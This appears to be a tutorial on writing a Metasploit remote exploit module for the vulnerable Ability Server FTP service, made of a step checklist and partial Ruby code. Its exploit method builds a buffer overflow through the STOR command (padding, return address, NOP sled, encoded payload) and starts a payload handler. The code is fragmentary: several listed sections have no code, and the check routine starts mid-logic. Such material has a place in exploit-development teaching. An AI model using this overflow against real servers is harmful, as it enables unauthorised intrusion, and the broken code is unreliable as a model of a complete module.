Exploit module

Remote Exploit

FTP exploit

Our example will be a very simple vulnerable FTP server called ability server.

What do we want?

  • Create Exploit module

  • Exploit FTP Server

  • Set exploit rank

  • Describe The module

  • Let people know we created this module

  • Add references about the vulnerability that we exploit

  • Choose a default payload

  • Set the Bad characters.

  • Set Disclosure Date

  • Targets and it's return address (EIP offset)

  • Options to set the target IP, port. Also username and password if required.

  • Check the target if vulnerable.

  • Send the exploit

  • Check if the module has been written correctly (msftidy.rb)

Steps

  • Create Exploit module

  • Exploit FTP Server

  • Put a rank for the module

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
### Module Type ###
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
  • Describe The module

  • Let people know we created this module

  • Add references about the vulnerability that we exploit

  • Choose a default payload

  • Set the Bad characters.

  • Set Disclosure Date

  • Targets and it's return address (EIP offset)

  • Options to set the target IP, port. Also username and password if required.

end
  • Check the target if vulnerable.

return Exploit::CheckCode::Appears
else
if banner =~ /Ability Server/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
end
  • Send the exploit

def exploit
c = connect_login
return if not c
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
# Take client IP address + FTP user lengths into account for EIP offset
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
junk = rand_text_alpha(padd_size)
sploit = junk
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)
send_cmd(['STOR', sploit], false)
handler
disconnect
end
